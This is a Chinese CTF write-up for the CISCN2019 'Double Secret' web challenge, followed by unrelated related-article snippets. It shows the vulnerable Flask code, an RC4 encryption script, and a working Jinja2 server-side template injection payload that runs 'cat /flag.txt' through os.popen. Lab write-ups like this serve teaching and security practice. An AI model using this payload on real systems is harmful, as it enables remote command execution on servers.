[CISCN2019 华东南赛区]Double Secret

2023-12-30 02:40

本文主要是介绍[CISCN2019 华东南赛区]Double Secret,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[CISCN2019 华东南赛区]Double Secret

知识点:SSTI,RC4加密

文章目录

  • [CISCN2019 华东南赛区]Double Secret
    • 解题过程
    • 参考链接

解题过程

打开环境,提示secret

在这里插入图片描述

尝试secret路由,提示会加密

在这里插入图片描述

GET方式传参url/secret?secret=1,回显

在这里插入图片描述

传参url/secret?secret=11111,报错

在这里插入图片描述

传入的参数secret会被RC4解密,而此时也存在python2.7的模板注入漏洞render_template_string

if(secret==None):return 'Tell me your secret.I will encrypt it so others can\'t see'rc=rc4_Modified.RC4("HereIsTreasure")   #解密deS=rc.do_crypt(secret)a=render_template_string(safe(deS))if 'ciscn' in a.lower():return 'flag detected!'return a

找的师傅们的RC4加密脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):# print("RC4加密主函数")s_box = rc4_init_sbox(key)crypt = str(rc4_excrypt(message, s_box))return  crypt
def rc4_init_sbox(key):s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可# print("原来的 s 盒:%s" % s_box)j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]# print("混乱后的 s 盒:%s"% s_box)return s_box
def rc4_excrypt(plain, box):# print("调用加密程序成功。")res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(ord(s) ^ k))# print("res用于加密字符串,加密后是:%res" %res)cipher = "".join(res)print("加密后的字符串是:%s" %quote(cipher))#print("加密后的输出(经过编码):")#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
#需要加密的字符串在这里修改
rc4_main("HereIsTreasure","{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}")
{{''.__class__.__mro__[2].__subclasses__()[59]}}

下标为59的是warnings.catch_warnings

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read()}}

在这里插入图片描述

参考链接

  1. 怪味巧克力师傅的wp

  2. [CISCN2019 华东南赛区]Double Secret_怪味巧克力的博客-CSDN博客

这篇关于[CISCN2019 华东南赛区]Double Secret的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/551453

相关文章

90、k8s之secret+configMap

一、secret配置管理 配置管理: 加密配置:保存密码,token,其他敏感信息的k8s资源 应用配置:我们需要定制化的给应用进行配置,我们需要把定制好的配置文件同步到pod当中容器 1.1、加密配置: secret: [root@master01 ~]# kubectl get secrets ##查看加密配置[root@master01 ~]# kubectl get se

C# double[] 和Matlab数组MWArray[]转换

C# double[] 转换成MWArray[], 直接赋值就行             MWNumericArray[] ma = new MWNumericArray[4];             double[] dT = new double[] { 0 };             double[] dT1 = new double[] { 0,2 };

2014年ACM/ICPC亚洲区现场赛广州赛区总结

本来不想提这件事的,后来学姐找我谈心时提到这件事,我突然意识到在这件事情上我错了一次,明明答应的去参加这场比赛,最后临时决定不去......其实中间有很多很多原因 1:我和tyh,sxk临时不去主要是广州太远,我们身上money不够,呵呵。。。别笑我们,你以为我们是高富帅啊,去一趟广州消费要2个月的生活费,奖学金又没发,你让我找我妈要她辛辛苦苦挣来的工资吗?!从哈尔滨到广州单来回的火车票每个人就

Error: label vector and instance matrix must be double的解决方法

在使用uci下载的数据时,建模时出现这个错误的解决方法 首先现在UCI上面下载数据 然后右键另存为就行了。这样我们就从UCI里面下载到了训练数据 在matlab 点 导入数据,数据类型要记得选第二个, 如果选择最后一个table就会出现这个问题 最后附上代码 %%之前先import wine.date IMPORTED DATA 设为Numeric Matrix (数值矩

【matlab】double和single类型

看到博客(这里)中说,在matlab中, 当数据比较大时,运算起来就困难了,有时候还会out of memory。原因是默认情况下matlab用double存储数据。而double数据类型占8个字节,single类型占4个字节。把数据类型从double类型转换成single类型可以节省一半的空间。(如果怀疑可以用whos指令查看)。本来很有道理的,但是看到有人说(比如这里):Th

[CISCN2019 华东南赛区]Web111

考点: xff ssti 打开看到页面存在IP和XFF,右上角是咱们自己的IP 看到现在,可以想到尝试一下xff,当我们bp抓包后,添加xff,我们可以发现右上角的Current IP发生了变化,并且当我们输入什么他就会变成什么,这时候就应该想到ssti注入了 进行注入发现是Smarty 模板注入(好像页面下面也有提示"Bulid with Smarty",……不过没关系),可以

java基本数据类型 以及 double float 二进制表示方法

Java 基本数据类型分为4类:整型,浮点型,字符型,布尔型。 整数类型: 关键字占用字节数byte1short2int4long8 每个类型的取值范围,我们以int 为例,4个字节是32位。 第一位是符号位,那么最大表示的正整数为:2^31 =‭2,147,483,648‬ byte 占用1字节 8位,最大的正整数为2^7 = 128 浮点型数据: 浮点数据类型分为两种:单精度浮

float 或 double 运算的时候会有精度丢失的风险?

《阿里巴巴 Java 开发手册》中提到:“浮点数之间的等值判断,基本数据类型不能用 == 来比较,包装数据类型不能用 equals 来判断”。“为了避免精度丢失,可以使用 BigDecimal 来进行浮点数的运算”。 浮点数的运算竟然还会有精度丢失的风险吗?确实会! 示例代码: float a = 2.0f - 1.9f;float b = 1.8f - 1.7f;System.out.

Educational Codeforces Round 1C. Nearest vectors(极角排序+long double 精度)

题目链接 题意:给你一堆的向量,问你向量之间的夹角最小的是那一对。 解法:极角排序,然后枚举相邻的一对就可以啦,但是坑爹的是double精度不够,使用long double 读入使用cin。。。 #include<bits/stdc++.h>using namespace std;#define LL long long#define pb push_back#define X f

double free

double free 内存问题 标签: stringbuffer多线程list语言c 2010-05-20 10:42  10963人阅读  评论(0)  收藏  举报   分类: C/C++(32)  double free 2008年06月02日 星期一 11:43 *** glibc detected *** free(): invalid